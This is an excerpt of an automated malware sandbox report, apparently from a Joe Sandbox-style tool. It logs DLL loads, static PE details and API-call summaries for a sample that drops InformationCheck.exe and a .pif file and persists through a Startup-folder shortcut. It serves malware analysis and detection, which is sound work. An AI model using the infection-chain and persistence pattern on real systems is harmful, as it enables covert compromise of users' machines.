Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cscui.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: T6l6gPxwQU.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: T6l6gPxwQU.exe

Static file information: File size 1974272 > 1048576

Source: T6l6gPxwQU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: T6l6gPxwQU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: T6l6gPxwQU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: T6l6gPxwQU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: T6l6gPxwQU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: T6l6gPxwQU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: T6l6gPxwQU.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: T6l6gPxwQU.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: T6l6gPxwQU.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: T6l6gPxwQU.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: T6l6gPxwQU.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: T6l6gPxwQU.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: T6l6gPxwQU.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB1932F4 LoadLibraryA,GetProcAddress,

0_2_00007FF6BB1932F4

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB157399 push rdi; ret	0_2_00007FF6BB1573A2
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1578FD push rdi; ret	0_2_00007FF6BB157904
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B7E4300 push eax; ret	1_2_00007FFD9B7E430D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B7E00AD pushad ; iretd	1_2_00007FFD9B7E00C1
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0055E93F push edi; ret	3_2_0055E941
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0055EA58 push esi; ret	3_2_0055EA5A
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00598A4A push FFFFFF8Bh; iretd	3_2_00598A4C
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00558B75 push ecx; ret	3_2_00558B88
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0054CBF1 push eax; retf	3_2_0054CBF8
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0055EC33 push esi; ret	3_2_0055EC35
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0055ED1C push edi; ret	3_2_0055ED1E
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008CE93F push edi; ret	10_2_008CE941
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008CEA58 push esi; ret	10_2_008CEA5A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_00908A4A push FFFFFF8Bh; iretd	10_2_00908A4C
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008BCBF1 push eax; retf	10_2_008BCBF8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008C8B75 push ecx; ret	10_2_008C8B88
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008CEC33 push esi; ret	10_2_008CEC35
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008CED1C push edi; ret	10_2_008CED1E

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Users\Public\InformationCheck.exe

File created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif

Jump to dropped file

Source: C:\Users\Public\InformationCheck.exe	File created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif			Jump to dropped file
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	File created: C:\Users\Public\InformationCheck.exe			Jump to dropped file

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

File created: C:\Users\Public\InformationCheck.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

File created: C:\Users\Public\InformationCheck.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Jump to behavior

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB144514 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,	0_2_00007FF6BB144514
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_005B59B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	3_2_005B59B3
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00545EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	3_2_00545EDA
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_009259B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	10_2_009259B3
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_008B5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	10_2_008B5EDA

Source: C:\Users\Public\InformationCheck.exe

Code function: 3_2_005533B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_005533B7

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
